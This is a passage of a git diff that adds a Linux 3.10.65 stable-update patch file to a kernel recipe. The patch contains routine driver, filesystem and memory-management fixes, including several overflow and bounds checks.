diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0001.diff b/recipes-kernel/linux/linux-bass/autopatcher/0001.diff new file mode 100644 index 0000000..983b755 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0001.diff @@ -0,0 +1,1498 @@ +diff --git a/Documentation/ramoops.txt b/Documentation/ramoops.txt +index 69b3cac4749d..5d8675615e59 100644 +--- a/Documentation/ramoops.txt ++++ b/Documentation/ramoops.txt +@@ -14,11 +14,19 @@ survive after a restart. + + 1. Ramoops concepts + +-Ramoops uses a predefined memory area to store the dump. The start and size of +-the memory area are set using two variables: ++Ramoops uses a predefined memory area to store the dump. The start and size ++and type of the memory area are set using three variables: + * "mem_address" for the start + * "mem_size" for the size. The memory size will be rounded down to a + power of two. ++ * "mem_type" to specifiy if the memory type (default is pgprot_writecombine). ++ ++Typically the default value of mem_type=0 should be used as that sets the pstore ++mapping to pgprot_writecombine. Setting mem_type=1 attempts to use ++pgprot_noncached, which only works on some platforms. This is because pstore ++depends on atomic operations. At least on ARM, pgprot_noncached causes the ++memory to be mapped strongly ordered, and atomic operations on strongly ordered ++memory are implementation defined, and won't work on many ARMs such as omaps. + + The memory area is divided into "record_size" chunks (also rounded down to + power of two) and each oops/panic writes a "record_size" chunk of +@@ -55,6 +63,7 @@ Setting the ramoops parameters can be done in 2 different manners: + static struct ramoops_platform_data ramoops_data = { + .mem_size = <...>, + .mem_address = <...>, ++ .mem_type = <...>, + .record_size = <...>, + .dump_oops = <...>, + .ecc = <...>, +diff --git a/Makefile b/Makefile +index e5b63fb3d0e1..7889b38766db 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 10 +-SUBLEVEL = 64 ++SUBLEVEL = 65 + EXTRAVERSION = + NAME = TOSSUG Baby Fish + +diff --git a/arch/arm/mach-mvebu/coherency.c b/arch/arm/mach-mvebu/coherency.c +index 8278960066c3..3ee701f1d38e 100644 +--- a/arch/arm/mach-mvebu/coherency.c ++++ b/arch/arm/mach-mvebu/coherency.c +@@ -141,6 +141,29 @@ int __init coherency_init(void) + { + struct device_node *np; + ++ /* ++ * The coherency fabric is needed: ++ * - For coherency between processors on Armada XP, so only ++ * when SMP is enabled. ++ * - For coherency between the processor and I/O devices, but ++ * this coherency requires many pre-requisites (write ++ * allocate cache policy, shareable pages, SMP bit set) that ++ * are only meant in SMP situations. ++ * ++ * Note that this means that on Armada 370, there is currently ++ * no way to use hardware I/O coherency, because even when ++ * CONFIG_SMP is enabled, is_smp() returns false due to the ++ * Armada 370 being a single-core processor. To lift this ++ * limitation, we would have to find a way to make the cache ++ * policy set to write-allocate (on all Armada SoCs), and to ++ * set the shareable attribute in page tables (on all Armada ++ * SoCs except the Armada 370). Unfortunately, such decisions ++ * are taken very early in the kernel boot process, at a point ++ * where we don't know yet on which SoC we are running. ++ */ ++ if (!is_smp()) ++ return 0; ++ + np = of_find_matching_node(NULL, of_coherency_table); + if (np) { + pr_info("Initializing Coherency fabric\n"); +diff --git a/arch/x86/include/asm/vsyscall.h b/arch/x86/include/asm/vsyscall.h +index 2a46ca720afc..2874be9aef0a 100644 +--- a/arch/x86/include/asm/vsyscall.h ++++ b/arch/x86/include/asm/vsyscall.h +@@ -34,7 +34,7 @@ static inline unsigned int __getcpu(void) + native_read_tscp(&p); + } else { + /* Load per CPU data from GDT */ +- asm("lsl %1,%0" : "=r" (p) : "r" (__PER_CPU_SEG)); ++ asm volatile ("lsl %1,%0" : "=r" (p) : "r" (__PER_CPU_SEG)); + } + + return p; +diff --git a/arch/x86/kernel/cpu/perf_event_intel_uncore.c b/arch/x86/kernel/cpu/perf_event_intel_uncore.c +index 8aac56bda7dc..7185af255fb5 100644 +--- a/arch/x86/kernel/cpu/perf_event_intel_uncore.c ++++ b/arch/x86/kernel/cpu/perf_event_intel_uncore.c +@@ -2657,6 +2657,17 @@ static struct intel_uncore_box *uncore_event_to_box(struct perf_event *event) + return uncore_pmu_to_box(uncore_event_to_pmu(event), smp_processor_id()); + } + ++/* ++ * Using uncore_pmu_event_init pmu event_init callback ++ * as a detection point for uncore events. ++ */ ++static int uncore_pmu_event_init(struct perf_event *event); ++ ++static bool is_uncore_event(struct perf_event *event) ++{ ++ return event->pmu->event_init == uncore_pmu_event_init; ++} ++ + static int + uncore_collect_events(struct intel_uncore_box *box, struct perf_event *leader, bool dogrp) + { +@@ -2671,13 +2682,18 @@ uncore_collect_events(struct intel_uncore_box *box, struct perf_event *leader, b + return -EINVAL; + + n = box->n_events; +- box->event_list[n] = leader; +- n++; ++ ++ if (is_uncore_event(leader)) { ++ box->event_list[n] = leader; ++ n++; ++ } ++ + if (!dogrp) + return n; + + list_for_each_entry(event, &leader->sibling_list, group_entry) { +- if (event->state <= PERF_EVENT_STATE_OFF) ++ if (!is_uncore_event(event) || ++ event->state <= PERF_EVENT_STATE_OFF) + continue; + + if (n >= max_count) +diff --git a/arch/x86/vdso/vma.c b/arch/x86/vdso/vma.c +index 431e87544411..ab6ba35a9357 100644 +--- a/arch/x86/vdso/vma.c ++++ b/arch/x86/vdso/vma.c +@@ -117,30 +117,45 @@ subsys_initcall(init_vdso); + + struct linux_binprm; + +-/* Put the vdso above the (randomized) stack with another randomized offset. +- This way there is no hole in the middle of address space. +- To save memory make sure it is still in the same PTE as the stack top. +- This doesn't give that many random bits */ ++/* ++ * Put the vdso above the (randomized) stack with another randomized ++ * offset. This way there is no hole in the middle of address space. ++ * To save memory make sure it is still in the same PTE as the stack ++ * top. This doesn't give that many random bits. ++ * ++ * Note that this algorithm is imperfect: the distribution of the vdso ++ * start address within a PMD is biased toward the end. ++ * ++ * Only used for the 64-bit and x32 vdsos. ++ */ + static unsigned long vdso_addr(unsigned long start, unsigned len) + { + unsigned long addr, end; + unsigned offset; +- end = (start + PMD_SIZE - 1) & PMD_MASK; ++ ++ /* ++ * Round up the start address. It can start out unaligned as a result ++ * of stack start randomization. ++ */ ++ start = PAGE_ALIGN(start); ++ ++ /* Round the lowest possible end address up to a PMD boundary. */ ++ end = (start + len + PMD_SIZE - 1) & PMD_MASK; + if (end >= TASK_SIZE_MAX) + end = TASK_SIZE_MAX; + end -= len; +- /* This loses some more bits than a modulo, but is cheaper */ +- offset = get_random_int() & (PTRS_PER_PTE - 1); +- addr = start + (offset << PAGE_SHIFT); +- if (addr >= end) +- addr = end; ++ ++ if (end > start) { ++ offset = get_random_int() % (((end - start) >> PAGE_SHIFT) + 1); ++ addr = start + (offset << PAGE_SHIFT); ++ } else { ++ addr = start; ++ } + + /* +- * page-align it here so that get_unmapped_area doesn't +- * align it wrongfully again to the next page. addr can come in 4K +- * unaligned here as a result of stack start randomization. ++ * Forcibly align the final address in case we have a hardware ++ * issue that requires alignment for performance reasons. + */ +- addr = PAGE_ALIGN(addr); + addr = align_vdso_addr(addr); + + return addr; +diff --git a/block/genhd.c b/block/genhd.c +index e670148c3773..7694dffe9f0e 100644 +--- a/block/genhd.c ++++ b/block/genhd.c +@@ -1070,9 +1070,16 @@ int disk_expand_part_tbl(struct gendisk *disk, int partno) + struct disk_part_tbl *old_ptbl = disk->part_tbl; + struct disk_part_tbl *new_ptbl; + int len = old_ptbl ? old_ptbl->len : 0; +- int target = partno + 1; ++ int i, target; + size_t size; +- int i; ++ ++ /* ++ * check for int overflow, since we can get here from blkpg_ioctl() ++ * with a user passed 'partno'. ++ */ ++ target = partno + 1; ++ if (target < 0) ++ return -EINVAL; + + /* disk_max_parts() is zero during initialization, ignore if so */ + if (disk_max_parts(disk) && target > disk_max_parts(disk)) +diff --git a/drivers/base/bus.c b/drivers/base/bus.c +index d414331b480e..558d562f4901 100644 +--- a/drivers/base/bus.c ++++ b/drivers/base/bus.c +@@ -242,13 +242,15 @@ static ssize_t store_drivers_probe(struct bus_type *bus, + const char *buf, size_t count) + { + struct device *dev; ++ int err = -EINVAL; + + dev = bus_find_device_by_name(bus, NULL, buf); + if (!dev) + return -ENODEV; +- if (bus_rescan_devices_helper(dev, NULL) != 0) +- return -EINVAL; +- return count; ++ if (bus_rescan_devices_helper(dev, NULL) == 0) ++ err = count; ++ put_device(dev); ++ return err; + } + + static struct device *next_device(struct klist_iter *i) +diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c +index 81d0e6e1f754..2bd798a7d9aa 100644 +--- a/drivers/hid/hid-core.c ++++ b/drivers/hid/hid-core.c +@@ -1687,6 +1687,7 @@ static const struct hid_device_id hid_have_special_driver[] = { + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_ERGO_525V) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_I405X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X) }, ++ { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_LABTEC, USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD) }, + { HID_USB_DEVICE(USB_VENDOR_ID_LCPOWER, USB_DEVICE_ID_LCPOWER_LC1000 ) }, +diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h +index a1e431f830e3..45c593dbf5cd 100644 +--- a/drivers/hid/hid-ids.h ++++ b/drivers/hid/hid-ids.h +@@ -478,6 +478,7 @@ + #define USB_DEVICE_ID_KYE_GPEN_560 0x5003 + #define USB_DEVICE_ID_KYE_EASYPEN_I405X 0x5010 + #define USB_DEVICE_ID_KYE_MOUSEPEN_I608X 0x5011 ++#define USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2 0x501a + #define USB_DEVICE_ID_KYE_EASYPEN_M610X 0x5013 + + #define USB_VENDOR_ID_LABTEC 0x1020 +diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c +index 012880a2228c..03a6acffed5d 100644 +--- a/drivers/hid/hid-input.c ++++ b/drivers/hid/hid-input.c +@@ -317,6 +317,9 @@ static const struct hid_device_id hid_battery_quirks[] = { + USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI), + HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, ++ USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO), ++ HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, ++ { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, + USB_DEVICE_ID_APPLE_ALU_WIRELESS_ANSI), + HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, + {} +diff --git a/drivers/hid/hid-kye.c b/drivers/hid/hid-kye.c +index 843f2dd55200..973eed788cc6 100644 +--- a/drivers/hid/hid-kye.c ++++ b/drivers/hid/hid-kye.c +@@ -303,6 +303,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc, + } + break; + case USB_DEVICE_ID_KYE_MOUSEPEN_I608X: ++ case USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2: + if (*rsize == MOUSEPEN_I608X_RDESC_ORIG_SIZE) { + rdesc = mousepen_i608x_rdesc_fixed; + *rsize = sizeof(mousepen_i608x_rdesc_fixed); +@@ -383,6 +384,7 @@ static int kye_probe(struct hid_device *hdev, const struct hid_device_id *id) + switch (id->product) { + case USB_DEVICE_ID_KYE_EASYPEN_I405X: + case USB_DEVICE_ID_KYE_MOUSEPEN_I608X: ++ case USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2: + case USB_DEVICE_ID_KYE_EASYPEN_M610X: + ret = kye_tablet_enable(hdev); + if (ret) { +@@ -406,6 +408,8 @@ static const struct hid_device_id kye_devices[] = { + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, + USB_DEVICE_ID_KYE_MOUSEPEN_I608X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, ++ USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) }, ++ { HID_USB_DEVICE(USB_VENDOR_ID_KYE, + USB_DEVICE_ID_KYE_EASYPEN_M610X) }, + { } + }; +diff --git a/drivers/hid/hid-roccat-pyra.c b/drivers/hid/hid-roccat-pyra.c +index d4f1e3bee590..264ddc4a0118 100644 +--- a/drivers/hid/hid-roccat-pyra.c ++++ b/drivers/hid/hid-roccat-pyra.c +@@ -35,6 +35,8 @@ static struct class *pyra_class; + static void profile_activated(struct pyra_device *pyra, + unsigned int new_profile) + { ++ if (new_profile >= ARRAY_SIZE(pyra->profile_settings)) ++ return; + pyra->actual_profile = new_profile; + pyra->actual_cpi = pyra->profile_settings[pyra->actual_profile].y_cpi; + } +@@ -236,9 +238,11 @@ static ssize_t pyra_sysfs_write_settings(struct file *fp, + if (off != 0 || count != PYRA_SIZE_SETTINGS) + return -EINVAL; + +- mutex_lock(&pyra->pyra_lock); +- + settings = (struct pyra_settings const *)buf; ++ if (settings->startup_profile >= ARRAY_SIZE(pyra->profile_settings)) ++ return -EINVAL; ++ ++ mutex_lock(&pyra->pyra_lock); + + retval = pyra_set_settings(usb_dev, settings); + if (retval) { +diff --git a/drivers/hid/i2c-hid/i2c-hid.c b/drivers/hid/i2c-hid/i2c-hid.c +index 2b1799a3b212..469daa04dadb 100644 +--- a/drivers/hid/i2c-hid/i2c-hid.c ++++ b/drivers/hid/i2c-hid/i2c-hid.c +@@ -134,6 +134,7 @@ struct i2c_hid { + * descriptor. */ + unsigned int bufsize; /* i2c buffer size */ + char *inbuf; /* Input buffer */ ++ char *rawbuf; /* Raw Input buffer */ + char *cmdbuf; /* Command buffer */ + char *argsbuf; /* Command arguments buffer */ + +@@ -340,7 +341,7 @@ static int i2c_hid_hwreset(struct i2c_client *client) + static void i2c_hid_get_input(struct i2c_hid *ihid) + { + int ret, ret_size; +- int size = le16_to_cpu(ihid->hdesc.wMaxInputLength); ++ int size = ihid->bufsize; + + ret = i2c_master_recv(ihid->client, ihid->inbuf, size); + if (ret != size) { +@@ -471,9 +472,11 @@ static void i2c_hid_find_max_report(struct hid_device *hid, unsigned int type, + static void i2c_hid_free_buffers(struct i2c_hid *ihid) + { + kfree(ihid->inbuf); ++ kfree(ihid->rawbuf); + kfree(ihid->argsbuf); + kfree(ihid->cmdbuf); + ihid->inbuf = NULL; ++ ihid->rawbuf = NULL; + ihid->cmdbuf = NULL; + ihid->argsbuf = NULL; + ihid->bufsize = 0; +@@ -489,10 +492,11 @@ static int i2c_hid_alloc_buffers(struct i2c_hid *ihid, size_t report_size) + report_size; /* report */ + + ihid->inbuf = kzalloc(report_size, GFP_KERNEL); ++ ihid->rawbuf = kzalloc(report_size, GFP_KERNEL); + ihid->argsbuf = kzalloc(args_len, GFP_KERNEL); + ihid->cmdbuf = kzalloc(sizeof(union command) + args_len, GFP_KERNEL); + +- if (!ihid->inbuf || !ihid->argsbuf || !ihid->cmdbuf) { ++ if (!ihid->inbuf || !ihid->rawbuf || !ihid->argsbuf || !ihid->cmdbuf) { + i2c_hid_free_buffers(ihid); + return -ENOMEM; + } +@@ -519,12 +523,12 @@ static int i2c_hid_get_raw_report(struct hid_device *hid, + + ret = i2c_hid_get_report(client, + report_type == HID_FEATURE_REPORT ? 0x03 : 0x01, +- report_number, ihid->inbuf, ask_count); ++ report_number, ihid->rawbuf, ask_count); + + if (ret < 0) + return ret; + +- ret_count = ihid->inbuf[0] | (ihid->inbuf[1] << 8); ++ ret_count = ihid->rawbuf[0] | (ihid->rawbuf[1] << 8); + + if (ret_count <= 2) + return 0; +@@ -533,7 +537,7 @@ static int i2c_hid_get_raw_report(struct hid_device *hid, + + /* The query buffer contains the size, dropping it in the reply */ + count = min(count, ret_count - 2); +- memcpy(buf, ihid->inbuf + 2, count); ++ memcpy(buf, ihid->rawbuf + 2, count); + + return count; + } +diff --git a/drivers/hid/usbhid/hid-quirks.c b/drivers/hid/usbhid/hid-quirks.c +index 0db9a67278ba..5b46a79dcb1f 100644 +--- a/drivers/hid/usbhid/hid-quirks.c ++++ b/drivers/hid/usbhid/hid-quirks.c +@@ -110,6 +110,7 @@ static const struct hid_blacklist { + { USB_VENDOR_ID_CHICONY, USB_DEVICE_ID_CHICONY_WIRELESS, HID_QUIRK_MULTI_INPUT }, + { USB_VENDOR_ID_SIGMA_MICRO, USB_DEVICE_ID_SIGMA_MICRO_KEYBOARD, HID_QUIRK_NO_INIT_REPORTS }, + { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X, HID_QUIRK_MULTI_INPUT }, ++ { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2, HID_QUIRK_MULTI_INPUT }, + { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X, HID_QUIRK_MULTI_INPUT }, + { USB_VENDOR_ID_NTRIG, USB_DEVICE_ID_NTRIG_DUOSENSE, HID_QUIRK_NO_INIT_REPORTS }, + { USB_VENDOR_ID_SYNAPTICS, USB_DEVICE_ID_SYNAPTICS_LTS1, HID_QUIRK_NO_INIT_REPORTS }, +diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c +index 6771e3c94801..db4e10d4c7f5 100644 +--- a/drivers/iommu/intel-iommu.c ++++ b/drivers/iommu/intel-iommu.c +@@ -1796,7 +1796,7 @@ static int __domain_mapping(struct dmar_domain *domain, unsigned long iov_pfn, + struct dma_pte *first_pte = NULL, *pte = NULL; + phys_addr_t uninitialized_var(pteval); + int addr_width = agaw_to_width(domain->agaw) - VTD_PAGE_SHIFT; +- unsigned long sg_res; ++ unsigned long sg_res = 0; + unsigned int largepage_lvl = 0; + unsigned long lvl_pages = 0; + +@@ -1807,10 +1807,8 @@ static int __domain_mapping(struct dmar_domain *domain, unsigned long iov_pfn, + + prot &= DMA_PTE_READ | DMA_PTE_WRITE | DMA_PTE_SNP; + +- if (sg) +- sg_res = 0; +- else { +- sg_res = nr_pages + 1; ++ if (!sg) { ++ sg_res = nr_pages; + pteval = ((phys_addr_t)phys_pfn << VTD_PAGE_SHIFT) | prot; + } + +diff --git a/drivers/mtd/ubi/upd.c b/drivers/mtd/ubi/upd.c +index ec2c2dc1c1ca..2a1b6e037e1a 100644 +--- a/drivers/mtd/ubi/upd.c ++++ b/drivers/mtd/ubi/upd.c +@@ -133,6 +133,10 @@ int ubi_start_update(struct ubi_device *ubi, struct ubi_volume *vol, + ubi_assert(!vol->updating && !vol->changing_leb); + vol->updating = 1; + ++ vol->upd_buf = vmalloc(ubi->leb_size); ++ if (!vol->upd_buf) ++ return -ENOMEM; ++ + err = set_update_marker(ubi, vol); + if (err) + return err; +@@ -152,14 +156,12 @@ int ubi_start_update(struct ubi_device *ubi, struct ubi_volume *vol, + err = clear_update_marker(ubi, vol, 0); + if (err) + return err; ++ ++ vfree(vol->upd_buf); + vol->updating = 0; + return 0; + } + +- vol->upd_buf = vmalloc(ubi->leb_size); +- if (!vol->upd_buf) +- return -ENOMEM; +- + vol->upd_ebs = div_u64(bytes + vol->usable_leb_size - 1, + vol->usable_leb_size); + vol->upd_bytes = bytes; +diff --git a/drivers/mtd/ubi/wl.c b/drivers/mtd/ubi/wl.c +index c95bfb183c62..49e570abe58b 100644 +--- a/drivers/mtd/ubi/wl.c ++++ b/drivers/mtd/ubi/wl.c +@@ -1209,7 +1209,6 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, + + err = do_sync_erase(ubi, e1, vol_id, lnum, 0); + if (err) { +- kmem_cache_free(ubi_wl_entry_slab, e1); + if (e2) + kmem_cache_free(ubi_wl_entry_slab, e2); + goto out_ro; +@@ -1223,10 +1222,8 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, + dbg_wl("PEB %d (LEB %d:%d) was put meanwhile, erase", + e2->pnum, vol_id, lnum); + err = do_sync_erase(ubi, e2, vol_id, lnum, 0); +- if (err) { +- kmem_cache_free(ubi_wl_entry_slab, e2); ++ if (err) + goto out_ro; +- } + } + + dbg_wl("done"); +@@ -1262,10 +1259,9 @@ out_not_moved: + + ubi_free_vid_hdr(ubi, vid_hdr); + err = do_sync_erase(ubi, e2, vol_id, lnum, torture); +- if (err) { +- kmem_cache_free(ubi_wl_entry_slab, e2); ++ if (err) + goto out_ro; +- } ++ + mutex_unlock(&ubi->move_mutex); + return 0; + +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +index a0f647f92bf5..3a220d2f2ee1 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +@@ -727,7 +727,7 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, + dev->cmd_buf = kmalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); + if (!dev->cmd_buf) { + err = -ENOMEM; +- goto lbl_set_intf_data; ++ goto lbl_free_candev; + } + + dev->udev = usb_dev; +@@ -766,7 +766,7 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, + err = register_candev(netdev); + if (err) { + dev_err(&intf->dev, "couldn't register CAN device: %d\n", err); +- goto lbl_free_cmd_buf; ++ goto lbl_restore_intf_data; + } + + if (dev->prev_siblings) +@@ -779,14 +779,14 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, + if (dev->adapter->dev_init) { + err = dev->adapter->dev_init(dev); + if (err) +- goto lbl_free_cmd_buf; ++ goto lbl_unregister_candev; + } + + /* set bus off */ + if (dev->adapter->dev_set_bus) { + err = dev->adapter->dev_set_bus(dev, 0); + if (err) +- goto lbl_free_cmd_buf; ++ goto lbl_unregister_candev; + } + + /* get device number early */ +@@ -798,11 +798,14 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, + + return 0; + +-lbl_free_cmd_buf: +- kfree(dev->cmd_buf); ++lbl_unregister_candev: ++ unregister_candev(netdev); + +-lbl_set_intf_data: ++lbl_restore_intf_data: + usb_set_intfdata(intf, dev->prev_siblings); ++ kfree(dev->cmd_buf); ++ ++lbl_free_candev: + free_candev(netdev); + + return err; +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +index 263dd921edc4..f7f796a2c50b 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +@@ -333,8 +333,6 @@ static int pcan_usb_pro_send_req(struct peak_usb_device *dev, int req_id, + if (!(dev->state & PCAN_USB_STATE_CONNECTED)) + return 0; + +- memset(req_addr, '\0', req_size); +- + req_type = USB_TYPE_VENDOR | USB_RECIP_OTHER; + + switch (req_id) { +@@ -345,6 +343,7 @@ static int pcan_usb_pro_send_req(struct peak_usb_device *dev, int req_id, + default: + p = usb_rcvctrlpipe(dev->udev, 0); + req_type |= USB_DIR_IN; ++ memset(req_addr, '\0', req_size); + break; + } + +diff --git a/drivers/net/wireless/ath/ath5k/qcu.c b/drivers/net/wireless/ath/ath5k/qcu.c +index 65fe929529a8..3bfd0b88016e 100644 +--- a/drivers/net/wireless/ath/ath5k/qcu.c ++++ b/drivers/net/wireless/ath/ath5k/qcu.c +@@ -225,13 +225,7 @@ ath5k_hw_setup_tx_queue(struct ath5k_hw *ah, enum ath5k_tx_queue queue_type, + } else { + switch (queue_type) { + case AR5K_TX_QUEUE_DATA: +- for (queue = AR5K_TX_QUEUE_ID_DATA_MIN; +- ah->ah_txq[queue].tqi_type != +- AR5K_TX_QUEUE_INACTIVE; queue++) { +- +- if (queue > AR5K_TX_QUEUE_ID_DATA_MAX) +- return -EINVAL; +- } ++ queue = queue_info->tqi_subtype; + break; + case AR5K_TX_QUEUE_UAPSD: + queue = AR5K_TX_QUEUE_ID_UAPSD; +diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h +index ae3034374bc4..d7d9e311089f 100644 +--- a/drivers/net/wireless/ath/ath9k/hw.h ++++ b/drivers/net/wireless/ath/ath9k/hw.h +@@ -215,8 +215,8 @@ + #define AH_WOW_BEACON_MISS BIT(3) + + enum ath_hw_txq_subtype { +- ATH_TXQ_AC_BE = 0, +- ATH_TXQ_AC_BK = 1, ++ ATH_TXQ_AC_BK = 0, ++ ATH_TXQ_AC_BE = 1, + ATH_TXQ_AC_VI = 2, + ATH_TXQ_AC_VO = 3, + }; +diff --git a/drivers/net/wireless/ath/ath9k/mac.c b/drivers/net/wireless/ath/ath9k/mac.c +index 566109a40fb3..941b08b71308 100644 +--- a/drivers/net/wireless/ath/ath9k/mac.c ++++ b/drivers/net/wireless/ath/ath9k/mac.c +@@ -311,14 +311,7 @@ int ath9k_hw_setuptxqueue(struct ath_hw *ah, enum ath9k_tx_queue type, + q = ATH9K_NUM_TX_QUEUES - 3; + break; + case ATH9K_TX_QUEUE_DATA: +- for (q = 0; q < ATH9K_NUM_TX_QUEUES; q++) +- if (ah->txq[q].tqi_type == +- ATH9K_TX_QUEUE_INACTIVE) +- break; +- if (q == ATH9K_NUM_TX_QUEUES) { +- ath_err(common, "No available TX queue\n"); +- return -1; +- } ++ q = qinfo->tqi_subtype; + break; + default: + ath_err(common, "Invalid TX queue type: %u\n", type); +diff --git a/drivers/pci/probe.c b/drivers/pci/probe.c +index ea37072e8bf2..034a4d2964d6 100644 +--- a/drivers/pci/probe.c ++++ b/drivers/pci/probe.c +@@ -210,14 +210,17 @@ int __pci_read_base(struct pci_dev *dev, enum pci_bar_type type, + res->flags |= IORESOURCE_SIZEALIGN; + if (res->flags & IORESOURCE_IO) { + l &= PCI_BASE_ADDRESS_IO_MASK; ++ sz &= PCI_BASE_ADDRESS_IO_MASK; + mask = PCI_BASE_ADDRESS_IO_MASK & (u32) IO_SPACE_LIMIT; + } else { + l &= PCI_BASE_ADDRESS_MEM_MASK; ++ sz &= PCI_BASE_ADDRESS_MEM_MASK; + mask = (u32)PCI_BASE_ADDRESS_MEM_MASK; + } + } else { + res->flags |= (l & IORESOURCE_ROM_ENABLE); + l &= PCI_ROM_ADDRESS_MASK; ++ sz &= PCI_ROM_ADDRESS_MASK; + mask = (u32)PCI_ROM_ADDRESS_MASK; + } + +diff --git a/drivers/tty/serial/samsung.c b/drivers/tty/serial/samsung.c +index 0c8a9fa2be6c..b8366b154fb9 100644 +--- a/drivers/tty/serial/samsung.c ++++ b/drivers/tty/serial/samsung.c +@@ -534,11 +534,15 @@ static void s3c24xx_serial_pm(struct uart_port *port, unsigned int level, + unsigned int old) + { + struct s3c24xx_uart_port *ourport = to_ourport(port); ++ int timeout = 10000; + + ourport->pm_level = level; + + switch (level) { + case 3: ++ while (--timeout && !s3c24xx_serial_txempty_nofifo(port)) ++ udelay(100); ++ + if (!IS_ERR(ourport->baudclk)) + clk_disable_unprepare(ourport->baudclk); + +diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c +index 1e71f918eb9f..2800776b2e91 100644 +--- a/drivers/usb/class/cdc-acm.c ++++ b/drivers/usb/class/cdc-acm.c +@@ -1087,10 +1087,11 @@ next_desc: + } else { + control_interface = usb_ifnum_to_if(usb_dev, union_header->bMasterInterface0); + data_interface = usb_ifnum_to_if(usb_dev, (data_interface_num = union_header->bSlaveInterface0)); +- if (!control_interface || !data_interface) { +- dev_dbg(&intf->dev, "no interfaces\n"); +- return -ENODEV; +- } ++ } ++ ++ if (!control_interface || !data_interface) { ++ dev_dbg(&intf->dev, "no interfaces\n"); ++ return -ENODEV; + } + + if (data_interface_num != call_interface_num) +@@ -1365,6 +1366,7 @@ alloc_fail8: + &dev_attr_wCountryCodes); + device_remove_file(&acm->control->dev, + &dev_attr_iCountryCodeRelDate); ++ kfree(acm->country_codes); + } + device_remove_file(&acm->control->dev, &dev_attr_bmCapabilities); + alloc_fail7: +diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c +index 1d94316f0ea4..301b08496478 100644 +--- a/drivers/xen/swiotlb-xen.c ++++ b/drivers/xen/swiotlb-xen.c +@@ -390,7 +390,7 @@ static void xen_unmap_single(struct device *hwdev, dma_addr_t dev_addr, + + /* NOTE: We use dev_addr here, not paddr! */ + if (is_xen_swiotlb_buffer(dev_addr)) { +- swiotlb_tbl_unmap_single(hwdev, paddr, size, dir); ++ swiotlb_tbl_unmap_single(hwdev, dev_addr, size, dir); + return; + } + +diff --git a/fs/btrfs/delayed-inode.c b/fs/btrfs/delayed-inode.c +index f26f38ccd194..019fc5a68a14 100644 +--- a/fs/btrfs/delayed-inode.c ++++ b/fs/btrfs/delayed-inode.c +@@ -1843,6 +1843,14 @@ int btrfs_delayed_update_inode(struct btrfs_trans_handle *trans, + struct btrfs_delayed_node *delayed_node; + int ret = 0; + ++ /* ++ * we don't do delayed inode updates during log recovery because it ++ * leads to enospc problems. This means we also can't do ++ * delayed inode refs ++ */ ++ if (BTRFS_I(inode)->root->fs_info->log_root_recovering) ++ return -EAGAIN; ++ + delayed_node = btrfs_get_or_create_delayed_node(inode); + if (IS_ERR(delayed_node)) + return PTR_ERR(delayed_node); +diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c +index 387213ac2608..b44306378193 100644 +--- a/fs/fs-writeback.c ++++ b/fs/fs-writeback.c +@@ -470,12 +470,28 @@ __writeback_single_inode(struct inode *inode, struct writeback_control *wbc) + * write_inode() + */ + spin_lock(&inode->i_lock); 